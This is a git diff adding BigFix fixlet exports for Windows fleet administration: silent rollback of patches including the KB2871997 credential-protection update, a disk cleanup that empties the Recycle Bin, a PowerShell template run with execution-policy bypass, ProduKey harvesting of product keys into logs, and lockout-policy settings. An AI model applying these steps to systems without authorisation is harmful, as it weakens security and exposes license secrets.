+  Title    : Rollback Patch Task: KB2871997  - Fix potential Kerberos problem - Windows7+
+  ID       : 3783
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-05-14T12:35:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Rollback Patch Task: KB2871997 - Fix potential Kerberos problem - Windows7+</Title>
+    <Description><![CDATA[<P>This task will roll back the Microsoft Patch: KB2871997.&nbsp; This may fix a recent problem with Kerberos authentication with the dce.psu.edu realm. This may not be required on all systems.<BR><BR>This task is applicable on: Windows 7+</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="https://technet.microsoft.com/library/security/2871997">https://technet.microsoft.com/library/security/2871997</A></P>
+<P><A href="http://support.microsoft.com/kb/262841">http://support.microsoft.com/kb/262841</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows 7 or Higher */ version of operating system >= "6.1"]]></Relevance>
+    <Relevance>(exists key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; whose ( exists substrings before &quot;~&quot; whose (it contains &quot;KB2871997&quot; as uppercase AND it does not contain &quot;_&quot;) of substrings after &quot;for_&quot; of names of keys whose (name of it contains &quot;for_&quot;) of it) of native registry)</Relevance>
+    <Category>Rollback</Category>
+    <Source>Rollback Task Wizard</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-05-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Rollback Task Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 14 May 2014 18:00:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to rollback the patch, requires reboot to complete.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	wait {pathname of windows folder}\sysnative\wusa.exe /uninstall /kb:2871997 /quiet /norestart
+else
+	wait {pathname of system folder}\wusa.exe /uninstall /kb:2871997 /quiet /norestart
+endif
+
+
+dos wuauclt /detectnow
+dos wuauclt /reportnow
+
+action requires restart</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB971033 (26600).bes b/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB971033 (26600).bes
new file mode 100644
index 000000000..275e72bf9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB971033 (26600).bes	
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Rollback Patch Task: KB971033
+  ID       : 26600
+  Author   : bmafever
+  Domain   : BESC
+  Imported : 2019-01-25T11:09:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Rollback Patch Task: KB971033</Title>
+    <Description><![CDATA[This task will roll back the Microsoft Patch: KB971033.<BR><BR>This task is applicable on: Windows 7, Windows 7 x64. ]]></Description>
+    <Relevance>( (exists key whose (name of it starts with &quot;x86_microsoft-windows-s..technologies-deploy_31bf3856ad364e35_none&quot; AND exists value &quot;7.1.7600.16395&quot; of keys of it) of it) of item 1 of it) of (key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of it, key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Winners&quot; of it) of native registry OR (( (exists key whose (name of it starts with &quot;amd64_microsoft-windows-s..technologies-deploy_31bf3856ad364e35_none&quot; AND exists value &quot;7.1.7600.16395&quot; of keys of it) of it) of item 1 of it) of (key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of it, key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Winners&quot; of it) of native registry)</Relevance>
+    <Relevance>((name of it = &quot;Win7&quot; AND not x64 of it AND NOT ia64 of it) of operating system OR (name of it = &quot;Win7&quot; AND x64 of it AND NOT ia64 of it) of operating system)</Relevance>
+    <Category>Rollback</Category>
+    <Source>Rollback Task Wizard</Source>
+    <SourceReleaseDate>2019-01-25</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Rollback Task Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 26 Jan 2019 06:00:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
+wait {pathname of windows folder}\sysnative\wusa.exe /uninstall /kb:971033 /quiet /norestart
+else
+wait {pathname of system folder}\wusa.exe /uninstall /kb:971033 /quiet /norestart
+endif
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Run a Full Disk Cleanup (6133).bes b/Sites/Windows Management/Fixlets/Fixlets/Run a Full Disk Cleanup (6133).bes
new file mode 100644
index 000000000..851926bd1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Run a Full Disk Cleanup (6133).bes	
@@ -0,0 +1,170 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Run a Full Disk Cleanup
+  ID       : 6133
+  Author   : etufarol
+  Domain   : BESC
+  Imported : 2015-07-28T03:24:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Run a Full Disk Cleanup</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD> <P></P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance><![CDATA[version of client >= "8.2"]]></Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1" as version]]></Relevance>
+    <Relevance><![CDATA[exists file (pathname of windows folder & "\system32\cleanmgr.exe")]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-05-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 19 May 2015 09:44:13 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 May 2015 09:44:13 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+action uses wow64 redirection {not x64 of operating system}
+if {version of operating system as version = "5.1"}
+	Createfile until end-reg-delete-compress-option
+		Windows Registry Editor Version 5.00
+		[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Compress Old Files]
+	end-reg-delete-compress-option
+	move __createfile C:\cmpr.reg
+	wait regedit /s C:\cmpr.reg
+endif
+dos rmdir /Q /S "{name of drive of windows folder & "$RECYCLE.BIN"}
+
+Createfile until end-reg-edit-commands
+	Windows Registry Editor Version 5.00
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]
+	"StateFlags1009"=dword:00000002
+end-reg-edit-commands
+move __createfile C:\cleanupConf.reg
+wait regedit /s C:\cleanupConf.reg
+
+wait cleanmgr /sagerun:1009
+
+Createfile until end-reg-edit-commands
+	Windows Registry Editor Version 5.00
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]
+	"StateFlags1009"=-
+end-reg-edit-commands
+move __createfile C:\cleanupRemoveConf.reg
+wait regedit /s C:\cleanupRemoveConf.reg
+
+delete "C:\cleanupConf.reg"
+delete "C:\cleanupRemoveConf.reg"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Run_ PowerShell Script - Windows - TEMPLATE (3860).bes b/Sites/Windows Management/Fixlets/Fixlets/Run_ PowerShell Script - Windows - TEMPLATE (3860).bes
new file mode 100644
index 000000000..c7be8a4c2
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Run_ PowerShell Script - Windows - TEMPLATE (3860).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Run: PowerShell Script - Windows - TEMPLATE
+  ID       : 3860
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-22T12:51:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Run: PowerShell Script - Windows - TEMPLATE</Title>
+    <Description><![CDATA[<P>Template to run a powershell script</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://bigfix.me/fixlet/details/633">http://bigfix.me/fixlet/details/633</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry)</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-09-22</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 22 Sep 2014 19:47:00 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+# REPLACE THE FOLLOWING WITH THE SCRIPT YOU WANT TO RUN ON THE ENDPOINT
+get-help | Out-File &quot;{(pathname of folder &quot;__BESData\__Global\Logs&quot; of parent folder of client)}\config_powershell.log&quot;
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Run_ produkey - recover Microsoft product keys - Windows (3941).bes b/Sites/Windows Management/Fixlets/Fixlets/Run_ produkey - recover Microsoft product keys - Windows (3941).bes
new file mode 100644
index 000000000..b2fc850a8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Run_ produkey - recover Microsoft product keys - Windows (3941).bes	
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Run: produkey - recover Microsoft product keys - Windows
+  ID       : 3941
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-01-09T13:45:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Run: produkey - recover Microsoft product keys - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists files "config_prodkey.xml" whose(now - modification time of it < 30 * day) of folders "Logs" of folders "__Global" of folders "__BESData" of parent folder of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-01-09</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Jan 2015 20:43:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+prefetch produkey.zip sha1:55344cc446a2fb45ddd05bb3e307fc6cc80c572c size:57206 http://www.nirsoft.net/utils/produkey.zip
+
+
+//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
+//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;produkey.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; ProduKey.exe -d &quot;{pathname of folder &quot;__Download&quot; of client folder of current site}&quot;
+
+waithidden __Download\produkey.exe /sxml &quot;{folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client}\config_prodkey.xml&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Secedit Example_ Windows Account Lockout_ 15_10_10 (27000).bes b/Sites/Windows Management/Fixlets/Fixlets/Secedit Example_ Windows Account Lockout_ 15_10_10 (27000).bes
new file mode 100644
index 000000000..0666c2bd1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Secedit Example_ Windows Account Lockout_ 15_10_10 (27000).bes	
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Secedit Example: Windows Account Lockout: 15/10/10
+  ID       : 27000
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2023-04-10T16:29:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Secedit Example: Windows Account Lockout: 15/10/10</Title>
+    <Description><![CDATA[<P>Configure Windows Account Lockout Policy (for Workstation or Member Servers, not Domain Controllers).</P>
+<P>15 bad attempts in 10 minutes triggers 10 minute lockout.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance>/* no domain controllers */ product type of operating system = nt workstation product type or product type of operating system = nt server product type</Relevance>
+    <Relevance>(account lockout duration of it / minute != 10 or account lockout observation window of it /minute != 10 or  account lockout threshold of it != 15) of security database</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2023-04-10</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 10 Apr 2023 23:28:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+delete __createfile
+createfile until BIGFIX_EOF_MARKER
+[Unicode]
+Unicode=yes
+[System Access]
+LockoutBadCount = 15
+ResetLockoutCount = 10
+LockoutDuration = 10
+[Version]
+signature=&quot;$CHICAGO$&quot;
+Revision=1
+BIGFIX_EOF_MARKER
+
+delete tempdb.sdb
+delete tempcfg.inf
+move __createfile tempcfg.inf
+waithidden secedit.exe /configure /cfg tempcfg.inf /db tempdb.sdb
+continue if {exit code of action = 0}
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Default Profile Picture - Windows 10 (25579).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Default Profile Picture - Windows 10 (25579).bes
new file mode 100644
index 000000000..eb83b1c9a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Default Profile Picture - Windows 10 (25579).bes	
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Set Default Profile Picture - Windows 10
+  ID       : 25579
+  Author   : N0m4d1c
+  Domain   : BESC
+  Imported : 2018-11-09T15:24:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Set Default Profile Picture - Windows 10</Title>
+    <Description><![CDATA[<P>Sets the default profile&nbsp;picture for all users in Windows 10.</P>
+<P><STRONG>*** Files need to be the same picture, just different names ***</STRONG></P>]]></Description>
+    <Relevance>true</Relevance>
+    <Category>Bigfix.me</Category>
+    <Source>Internal</Source>
+    <SourceID>n0m4d1c</SourceID>
+    <SourceReleaseDate>2018-10-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Nov 2018 23:24:00 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//*********************************************************************
+//	Insert prefetch for your PNG files
+//*********************************************************************
+
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\guest.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-32.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-40.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-48.png&quot;
+delete &quot;C:\ProgramData\Microsoft\User Account Pictures\user-192.png&quot;
+
+copy &quot;__Download\guest.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\guest.png&quot;
+copy &quot;__Download\user.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user.png&quot;
+copy &quot;__Download\user-32.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-32.png&quot;
+copy &quot;__Download\user-40.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-40.png&quot;
+copy &quot;__Download\user-48.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-48.png&quot;
+copy &quot;__Download\user-192.png&quot; &quot;C:\ProgramData\Microsoft\User Account Pictures\user-192.png&quot;
+
+waithidden cmd.exe /C reg add &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer&quot; /v UseDefaultTile /t REG_DWORD /d 1 /f</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Display Resolution to Maximum Resolution (27420).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Display Resolution to Maximum Resolution (27420).bes
new file mode 100644
index 000000000..7597a9f1f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Display Resolution to Maximum Resolution (27420).bes	
@@ -0,0 +1,471 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Set Display Resolution to Maximum Resolution
+  ID       : 27420
+  Author   : skyler
+  Domain   : BESC
+  Imported : 2026-07-28T10:34:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
